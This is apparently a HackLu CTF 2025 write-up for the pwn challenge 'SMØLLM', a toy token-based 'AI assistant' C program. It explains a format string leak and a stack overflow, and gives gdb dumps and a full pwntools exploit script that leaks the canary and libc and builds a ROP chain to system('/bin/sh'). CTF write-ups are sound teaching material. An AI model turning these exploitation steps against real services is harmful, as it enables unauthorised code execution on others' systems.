Post

SMØLLM, HackLu CTF 2025

SMØLLM, HackLu CTF 2025

SMØLLM

Handout

1
Newest product from FLUX. The friendly SMØLLM. Ever in need for some assistance? Just use SMØLLM!

We are given these files:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ tree SMOLLM 
SMOLLM
├── docker-compose.yml
├── Dockerfile
├── Dockerfile.build
├── ld-linux-x86-64.so.2
├── libc.so.6
├── smollm
├── smollm.c
├── ynetd
└── ynetd-src
    ├── cgroups.c
    ├── LICENSE.txt
    ├── Makefile
    ├── pow-solver.cpp
    ├── sha256.c
    └── ynetd.c

2 directories, 14 files

First analysis

ynetd is not part of the challenge, you can find the source here.

Let’s have a look at smollm.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <unistd.h>

#define TOKEN_SIZE 8

char tokens[256][TOKEN_SIZE] = { 0 };
int n_tokens = 0;

const char *init_tokens[] = {
    "a",
    "about",
    "all",
    "also",
    "and",
    "as",
    "at",
    "be",
    "because",
    "but",
    "by",
    "can",
    "come",
    "could",
    "computer",
    "ctf",
    "day",
    "do",
    "even",
    "find",
    "first",
    "flux",
    "for",
    "from",
    "get",
    "give",
    "go",
    "hacklu",
    "have",
    "he",
    "her",
    "here",
    "him",
    "his",
    "how",
    "I",
    "if",
    "in",
    "into",
    "it",
    "its",
    "just",
    "know",
    "like",
    "look",
    "make",
    "man",
    "many",
    "me",
    "more",
    "mvm",
    "my",
    "new",
    "no",
    "not",
    "now",
    "of",
    "on",
    "one",
    "only",
    "or",
    "other",
    "our",
    "out",
    "people",
    "plfanzen",
    "say",
    "see",
    "she",
    "so",
    "some",
    "take",
    "tell",
    "than",
    "that",
    "the",
    "their",
    "them",
    "then",
    "there",
    "these",
    "they",
    "thing",
    "think",
    "this",
    "those",
    "time",
    "to",
    "two",
    "up",
    "use",
    "very",
    "want",
    "way",
    "we",
    "well",
    "what",
    "when",
    "which",
    "who",
    "will",
    "with",
    "would",
    "year",
    "you",
    "your",
};

void add_token(const char* token, int len) {
    if (n_tokens == 256) {
        printf("Max number of tokens reached!\n");
        return;
    }
    memcpy(tokens[n_tokens], token, len);
    memset(tokens[n_tokens++] + len, ' ', TOKEN_SIZE - len);
}

void run_prompt() {
    int n;
    static unsigned int combinator = 0;
    char in_buf[256], out_buf[256];
    bzero(in_buf, sizeof(in_buf));
    bzero(out_buf, sizeof(in_buf));

    printf("How can I help you?\n>");
    n = read(STDIN_FILENO, in_buf, sizeof(in_buf));
    if (n <= 0) {
        printf("Read error\n");
        exit(-1);
    }
    for (int i = 0; i < n; i++) {
        memcpy(&out_buf[i*TOKEN_SIZE], tokens[(in_buf[i] + combinator++) % n_tokens], TOKEN_SIZE);
    }

    printf(out_buf);
    printf("\n");
}

void init() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    for (int i = 0; i < sizeof(init_tokens) / sizeof(*init_tokens); i++) {
        add_token(init_tokens[i], strlen(init_tokens[i]));
    }
}

int main(int argc, char *argv[]) {
    int n;
    char buf[9];
    init();

    printf("Hello, and welcome to smøllm. Your friendly AI assistant.\nYou can add you own custom tokens or run a prompt.\n");

    while (1) {
        printf("Do you want to\n1) Add a custom token\n2) Run a prompt\n>");
        if (read(STDIN_FILENO, buf, sizeof(buf)) <= 0) {
            printf("Read error\n");
            exit(-1);
        }
        if (buf[0] == '1') {
            memset(buf, 0, sizeof(buf));
            printf("token?>");
            n = read(STDIN_FILENO, buf, TOKEN_SIZE);
            if (n <= 0) {
                printf("Read error\n");
                exit(-1);
            }
            add_token(buf, n);
        } else if (buf[0] == '2') {
            run_prompt();
        } else {
            printf("Invalid choice\n");
        }
    }
}

The program is a simple token-based text generator. It maintains a list of tokens and allows the user to add custom tokens or generate output based on token indexes.

We can observe two main issues in the code:

  • There is a Format String Bug in the run_prompt function when printing out_buf with printf(out_buf);.
  • The out_buf can also lead to a buffer overflow since its size is fixed to 256 bytes, but during the loop in run_prompt, we copy TOKEN_SIZE (8) bytes for each character in the input. If the user inputs more than 32 characters, it will overflow out_buf.

Let’s have a look at the binary protections:

1
2
3
4
5
6
7
8
9
10
$ checksec --file=smollm               
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'.'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

The binary is well protected with Full RELRO, Stack Canary, NX, and PIE. There are also two protections that I didn’t know before:

  • SHSTK (Shadow Stack): A security feature that helps protect against certain types of stack-based attacks by maintaining a separate shadow stack for return addresses. In this challenge, I think it was not activated since I was able to perform ROP attacks.
  • IBT (Indirect Branch Tracking): A security feature that helps prevent certain types of control-flow hijacking attacks by ensuring that indirect branches (like function pointers) only target valid locations. This security feature is not relevant for this challenge.

Exploitation

I decided to start by exploiting the format string vulnerability, to see if I could overwrite some stack values or leak some addresses, as the binary is PIE.

Let’s first set up our script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
import sys
import re

context.log_level = 'debug'

p = None

if len(sys.argv) > 1 and sys.argv[1] == "remote":
    p = remote("SMOLLM.flu.xxx", 1024) 
else:
    p = process("./smollm")

PRINTF_CALL = "break *run_prompt+218"


if len(sys.argv) > 1 and sys.argv[1] == "gdb":
    gdb.attach(p, gdbscript=f"""
               {PRINTF_CALL}
               continue
               continue
               """)
    

def add_custom_token(token):
    p.sendlineafter(b">", b"1")
    p.sendlineafter(b"token?>", token)

def run_prompt(prompt):
    p.sendlineafter(b">", b"2")
    p.sendlineafter(b">", prompt)

def invalid_choice(choice):
    p.sendlineafter(b">", choice)
    

p.recvall()

Let’s see if we are able to access values on the stack using %N$x format specifiers:

1
2
3
4
5
6
7
8
add_custom_token(b"%4$x")
payload = b""
n_tokens = 0x6a
combinator = 0
for i in range(32):
    payload += bytes([n_tokens - i])
    combinator += 1
run_prompt(payload)

You can see that we have to decrease the token index each time since the combinator variable is incremented for each character in the input, and the token index is calculated as (in_buf[i] + combinator++) % n_tokens.

Unfortunately, we get this error: *** invalid %N$ use detected ***. Therefore, we will not be able to write arbitrary values by using %N$hn format specifiers, but we can still leak addresses by using %p for example.

Let’s try to leak some addresses and see if we can find the Canary and a libc address:

1
2
3
4
5
6
7
8
add_custom_token(b"%p"*4)
payload = b""
n_tokens = 0x6a
combinator = 0
for i in range(32):
    payload += bytes([n_tokens - i])
    combinator += 1
run_prompt(payload)

Which gives us:

1
b'>0x200x210x200x5a0fdf1433c00x636465666768696a0x5b5c5d5e5f6061620x535455565758595a0x4b4c4d4e4f5051520xa(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)0x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x70257025702570250x20202020776f6e6b0xd2af32307a07e3000x7ffcc0ac42bf0x5a0fdf140474(nil)0x32000000000000000x7025702570250a0xd2af32307a07e300(nil)0x7ffcc0ac44180x7ffcc0ac43900x1(nil)0x72fc7cc2a1ca0x7ffcc0ac43400x7ffcc0ac44180x1df13e0400x5a0fdf1403890x7ffcc0ac44180x9cad76c8b2979f020x1(nil)0x5a0fdf142d900x72fc7cf710000x9cad76c8b3b79f020x86ac0e1576b59f020x7ffc00000000(nil)(nil)0x10x7ffcc0a[-] Receiving all data: Failed0ac43f00x72fc7cc2a28b0x7ffcc0ac44280x5a0fdf142d900x7ffcc0ac44280x5a0fdf140389(nil)(nil)0x5a0fdf1400400x7ffcc0ac4410(nil)(nil)(nil)0x5a0fdf1400650x7ffcc0ac44080x380x10x7ffcc0ac4ec4(nil)0x7ffcc0ac4ecd0x7ffcc0ac4ee30x7ffcc0ac4f0c0x7ffcc0ac4f5c0x7ffcc0ac4fb20x7ffcc0ac4fc30x7ffcc0ac4fe40x7ffcc0ac4ff80x7ffcc0ac500fknow    \n'

Let’s have a look in gdb to see if this addresses are the ones we are looking for (0x00007ffe64db1530 is the stack pointer here):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
gef➤  x /100gx 0x00007ffe64db1530
0x7ffe64db1530:	0x636465666768696a	0x5b5c5d5e5f606162
0x7ffe64db1540:	0x535455565758595a	0x4b4c4d4e4f505152
0x7ffe64db1550:	0x000000000000000a	0x0000000000000000
0x7ffe64db1560:	0x0000000000000000	0x0000000000000000
0x7ffe64db1570:	0x0000000000000000	0x0000000000000000
0x7ffe64db1580:	0x0000000000000000	0x0000000000000000
0x7ffe64db1590:	0x0000000000000000	0x0000000000000000
0x7ffe64db15a0:	0x0000000000000000	0x0000000000000000
0x7ffe64db15b0:	0x0000000000000000	0x0000000000000000
0x7ffe64db15c0:	0x0000000000000000	0x0000000000000000
0x7ffe64db15d0:	0x0000000000000000	0x0000000000000000
0x7ffe64db15e0:	0x0000000000000000	0x0000000000000000
0x7ffe64db15f0:	0x0000000000000000	0x0000000000000000
0x7ffe64db1600:	0x0000000000000000	0x0000000000000000
0x7ffe64db1610:	0x0000000000000000	0x0000000000000000
0x7ffe64db1620:	0x0000000000000000	0x0000000000000000
0x7ffe64db1630:	0x7025702570257025	0x7025702570257025
0x7ffe64db1640:	0x7025702570257025	0x7025702570257025
0x7ffe64db1650:	0x7025702570257025	0x7025702570257025
0x7ffe64db1660:	0x7025702570257025	0x7025702570257025
0x7ffe64db1670:	0x7025702570257025	0x7025702570257025
0x7ffe64db1680:	0x7025702570257025	0x7025702570257025
0x7ffe64db1690:	0x7025702570257025	0x7025702570257025
0x7ffe64db16a0:	0x7025702570257025	0x7025702570257025
0x7ffe64db16b0:	0x7025702570257025	0x7025702570257025
0x7ffe64db16c0:	0x7025702570257025	0x7025702570257025
0x7ffe64db16d0:	0x7025702570257025	0x7025702570257025
0x7ffe64db16e0:	0x7025702570257025	0x7025702570257025
0x7ffe64db16f0:	0x7025702570257025	0x7025702570257025
0x7ffe64db1700:	0x7025702570257025	0x7025702570257025
0x7ffe64db1710:	0x7025702570257025	0x7025702570257025
0x7ffe64db1720:	0x7025702570257025	0x7025702570257025
0x7ffe64db1730:	0x20202020776f6e6b	0x44dc28cbea5ac200
0x7ffe64db1740:	0x00007ffe64db175f	0x00005cf8e0e3f474
0x7ffe64db1750:	0x0000000000000000	0x3200000000000000
0x7ffe64db1760:	0x007025702570250a	0x44dc28cbea5ac200
0x7ffe64db1770:	0x0000000000000000	0x00007ffe64db18b8
0x7ffe64db1780:	0x00007ffe64db1830	0x0000000000000001
0x7ffe64db1790:	0x0000000000000000	0x0000750689e2a1ca
0x7ffe64db17a0:	0x00007ffe64db17e0	0x00007ffe64db18b8
0x7ffe64db17b0:	0x00000001e0e3d040	0x00005cf8e0e3f389
0x7ffe64db17c0:	0x00007ffe64db18b8	0x2b93dc513129767e
0x7ffe64db17d0:	0x0000000000000001	0x0000000000000000
0x7ffe64db17e0:	0x00005cf8e0e41d90	0x000075068a136000
0x7ffe64db17f0:	0x2b93dc512e09767e	0x3e620622424b767e
0x7ffe64db1800:	0x00007ffe00000000	0x0000000000000000
0x7ffe64db1810:	0x0000000000000000	0x0000000000000001
0x7ffe64db1820:	0x00007ffe64db18b0	0x44dc28cbea5ac200
0x7ffe64db1830:	0x00007ffe64db1890	0x0000750689e2a28b
0x7ffe64db1840:	0x00007ffe64db18c8	0x00005cf8e0e41d90

We can guess that 0x44dc28cbea5ac200 is the Canary value here as it ends with 00, and we can find it several times on the stack. By looking at the address mapping, we can see the addresses that refers to libc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
gef➤  info proc map
process 610353
Mapped address spaces:

          Start Addr           End Addr       Size     Offset  Perms  objfile
      0x5cf8e0e3d000     0x5cf8e0e3f000     0x2000        0x0  r--p   /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/smollm
      0x5cf8e0e3f000     0x5cf8e0e40000     0x1000     0x2000  r-xp   /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/smollm
      0x5cf8e0e40000     0x5cf8e0e41000     0x1000     0x3000  r--p   /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/smollm
      0x5cf8e0e41000     0x5cf8e0e42000     0x1000     0x3000  r--p   /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/smollm
      0x5cf8e0e42000     0x5cf8e0e43000     0x1000     0x4000  rw-p   /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/smollm
      0x750689e00000     0x750689e28000    0x28000        0x0  r--p   /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/libc.so.6
      0x750689e28000     0x750689fb0000   0x188000    0x28000  r-xp   /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/libc.so.6
      0x750689fb0000     0x750689fff000    0x4f000   0x1b0000  r--p   /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/libc.so.6
      0x750689fff000     0x75068a003000     0x4000   0x1fe000  r--p   /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/libc.so.6
      0x75068a003000     0x75068a005000     0x2000   0x202000  rw-p   /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/libc.so.6
      0x75068a005000     0x75068a012000     0xd000        0x0  rw-p   
      0x75068a0f3000     0x75068a0f8000     0x5000        0x0  rw-p   
      0x75068a0f8000     0x75068a0fa000     0x2000        0x0  r--p   [vvar]
      0x75068a0fa000     0x75068a0fc000     0x2000        0x0  r--p   [vvar_vclock]
      0x75068a0fc000     0x75068a0fe000     0x2000        0x0  r-xp   [vdso]
      0x75068a0fe000     0x75068a0ff000     0x1000        0x0  r--p   /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/ld-linux-x86-64.so.2
      0x75068a0ff000     0x75068a12a000    0x2b000     0x1000  r-xp   /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/ld-linux-x86-64.so.2
      0x75068a12a000     0x75068a134000     0xa000    0x2c000  r--p   /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/ld-linux-x86-64.so.2
      0x75068a134000     0x75068a136000     0x2000    0x36000  r--p   /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/ld-linux-x86-64.so.2
      0x75068a136000     0x75068a138000     0x2000    0x38000  rw-p   /home/ap/Desktop/CTF/hacklu/SMOLLM/wu/SMOLLM/ld-linux-x86-64.so.2
      0x7ffe64d92000     0x7ffe64db4000    0x22000        0x0  rw-p   [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0  --xp   [vsyscall]

We can see that 0x0000750689e2a1ca is in the libc range and in the stack, so we could use this address to calculate the libc base address, and then get system, bin/sh and a pop rdi gadget addresses.

Let’s now parse this addresses in our script to get automatically these different values:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
def get_canary():
    global ADDR_LIBC_START_MAIN_122
    p.recvuntil(b">")
    data = p.recvuntil(b"know")[:-4]
    splitted = data.decode().replace("(nil)", "").split("0x")
    vals = [int(x,16) for x in splitted if x]
    print("All vals:", [hex(v) for v in vals])
    canary = vals[42]
    addr_libc = vals[51]
    print("Canary hardcoded:", hex(canary))
    print("addr_libc hardcoded:", hex(addr_libc))
    return canary, addr_libc

def get_addresses(addr_libc):
    FILE_LIBC = "./libc.so.6"
    elf_libc = ELF(FILE_LIBC, checksec=False)
    libc = ELF(FILE_LIBC, checksec=False)
    offset_system = libc.symbols['system']
    base = addr_libc - 0x2a1ca
    print("libc base:", hex(base))
    addr_system = base + offset_system
    print("addr_system:", hex(addr_system))
    addr_pop_rdi = base + 0x000000000010f78b
    print("addr_pop_rdi:", hex(addr_pop_rdi))
    addr_bin_sh = base + next(libc.search(b"/bin/sh"))
    print("addr_bin_sh:", hex(addr_bin_sh))
    return addr_system, addr_pop_rdi, addr_bin_sh
    
add_custom_token(b"%p"*4)
payload = b""
n_tokens = 0x6a
combinator = 0
for i in range(32):
    payload += bytes([n_tokens - i])
    combinator += 1
run_prompt(payload)
combinator += 1
canary, addr_libc = get_canary()
addr_system, addr_pop_rdi, addr_bin_sh = get_addresses(addr_libc)

We are now able to get everything we need to perform the second step of the attack, the ROP using the buffer overflow.

Unfortunately, we cannot do a classic ROP, as the out_buf contains the values of the tokens, we need to create a token with the adresses we want to put in the ROP chain, and then access this token using indexes at the right time durant the creation of our payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
add_custom_token(p64(canary))
add_custom_token(p64(addr_pop_rdi))
add_custom_token(p64(addr_bin_sh))
add_custom_token(p64(addr_system))

n_tokens += 4
payload = b""
canary_place = n_tokens - 3 - combinator
for i in range(33):
    payload += bytes([canary_place + 4])
    canary_place -= 1
    if canary_place == -1:
        canary_place += n_tokens
payload += bytes([canary_place]) # canary
payload += bytes([0]) # saved rbp
canary_place -= 1
payload += bytes([canary_place]) # gadget: pop rdi; ret
payload += bytes([canary_place]) # "/bin/sh"
payload += bytes([canary_place]) # system
run_prompt(payload)
p.interactive()

But unfortunately, this does not work directly as the stack is not aligned properly (not a multiple of 16) for system to work. The classic method to fix this is to add a ret gadget before the pop rdi gadget, but here I will just use a pop rdi; pop rbp; ret gadget (which is at 0x2a873 in libc) to pop an additional value from the stack and align it properly. Therefore, I will need to add for example twice /bin/sh token in my payload to take into account the additional pop rbp.

1
2
3
4
5
6
7
8
9
10
payload += bytes([canary_place]) # canary
payload += bytes([0]) # saved rbp
canary_place -= 1
payload += bytes([canary_place]) # gadget: pop rdi; ret
payload += bytes([canary_place]) # "/bin/sh"
canary_place -= 1
payload += bytes([canary_place]) # "/bin/sh"
payload += bytes([canary_place]) # system
run_prompt(payload)
p.interactive()

And with this we can get a shell and the flag:

1
2
3
4
    b'cat flag\n'
[DEBUG] Received 0x42 bytes:
    b'flag{w3_4re_ou7_0f_7ok3n5,sorry:171cec579a6ccf7ab7eba1b8cd2ee12c}\n'
flag{w3_4re_ou7_0f_7ok3n5,sorry:171cec579a6ccf7ab7eba1b8cd2ee12c}

Conclusion

This challenge was really interesting as it combined a format string vulnerability and a buffer overflow in a well-protected binary. It required a good understanding of both vulnerabilities and how to chain them together to achieve code execution. The added complexity of dealing with token indexes made the exploitation process more challenging. You can find below the full script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *
import sys
import re

context.log_level = 'debug'

p = None

FILE_LIBC = "./libc.so.6"
ADDR_LIBC_START_MAIN_122 = None

trying = 33
if len(sys.argv) > 1 and sys.argv[1] == "number":
    trying = int(sys.argv[2])

if len(sys.argv) > 1 and sys.argv[1] == "remote":
    p = remote("SMOLLM.flu.xxx", 1024) 
else:
    #p = remote("localhost", 1024)
    p = process("./smollm", env={"LD_PRELOAD": FILE_LIBC})

PRINTF_CALL = "break *run_prompt+218"
RET = "break *run_prompt+274"
COMPARE_CANARY = "break *run_prompt+255"

if len(sys.argv) > 1 and sys.argv[1] == "gdb":
    gdb.attach(p, gdbscript=f"""
               {RET}
               continue
               continue
               """)
    
def get_usefull():
    global ADDR_LIBC_START_MAIN_122
    elf_libc = ELF(FILE_LIBC, checksec=False)
    libc = ELF(FILE_LIBC, checksec=False)
    offset_system = libc.symbols['system']
    base = ADDR_LIBC_START_MAIN_122 - 0x2a1ca
    #base = ADDR_LIBC_START_MAIN_122 - libc.symbols['__libc_start_main'] - 122
    print("libc base:", hex(base))
    addr_system = base + offset_system
    print("addr_system:", hex(addr_system))
    #addr_pop_rdi = base + 0x000000000010f78b
    addr_pop_rdi = base + 0x000000000002a873
    print("addr_pop_rdi:", hex(addr_pop_rdi))
    addr_bin_sh = base + next(libc.search(b"/bin/sh"))
    print("addr_bin_sh:", hex(addr_bin_sh))
    return addr_system, addr_pop_rdi, addr_bin_sh
def add_custom_token(token):
    p.sendlineafter(b">", b"1")
    p.sendlineafter(b"token?>", token)

def run_prompt(prompt):
    p.sendlineafter(b">", b"2")
    p.sendlineafter(b">", prompt)

def invalid_choice(choice):
    p.sendlineafter(b">", choice)
    
def get_canary():
    global ADDR_LIBC_START_MAIN_122
    p.recvuntil(b">")
    data = p.recvuntil(b"know")[:-4]
    splitted = data.decode().replace("(nil)", "").split("0x")
    vals = [int(x,16) for x in splitted if x]
    print("All vals:", [hex(v) for v in vals])
    canary = vals[42]
    ADDR_LIBC_START_MAIN_122 = vals[51]
    print("Canary hardcoded:", hex(canary))
    print("addr_libc hardcoded:", hex(ADDR_LIBC_START_MAIN_122)) # 0x7b194fa2a1ca <__libc_start_call_main+122>:	mov    edi,eax
    #assert cands[0] in cands[1:], f"{cands}"
    return canary

add_custom_token(b"%p"*4)



payload = b""
start = 0x6a
n_tokens = 0x6a
combinator = 0
for i in range(32):
    payload += bytes([start - i])
    combinator += 1
run_prompt(payload)
combinator += 1
canary = get_canary()
addr_system, addr_pop_rdi, addr_bin_sh = get_usefull()

add_custom_token(p64(canary))
add_custom_token(p64(addr_pop_rdi))
add_custom_token(p64(addr_bin_sh))
add_custom_token(p64(addr_system))

n_tokens += 4
payload = b""
print("Combinator:", combinator)
print("n_tokens:", n_tokens)
canary_place = n_tokens - 3 - combinator
for i in range(trying):
    payload += bytes([canary_place + 4])
    canary_place -= 1
    if canary_place == -1:
        canary_place += n_tokens
payload += bytes([canary_place]) # canary
payload += bytes([canary_place]) # saved rbp
canary_place -= 1
payload += bytes([canary_place]) # gadget: pop rdi; ret
payload += bytes([canary_place]) # "/bin/sh"
canary_place -= 1
payload += bytes([canary_place]) # "/bin/sh"
payload += bytes([canary_place]) # system
run_prompt(payload)
#0x0000783066a2a1ca
p.interactive()
This post is licensed under CC BY 4.0 by the author.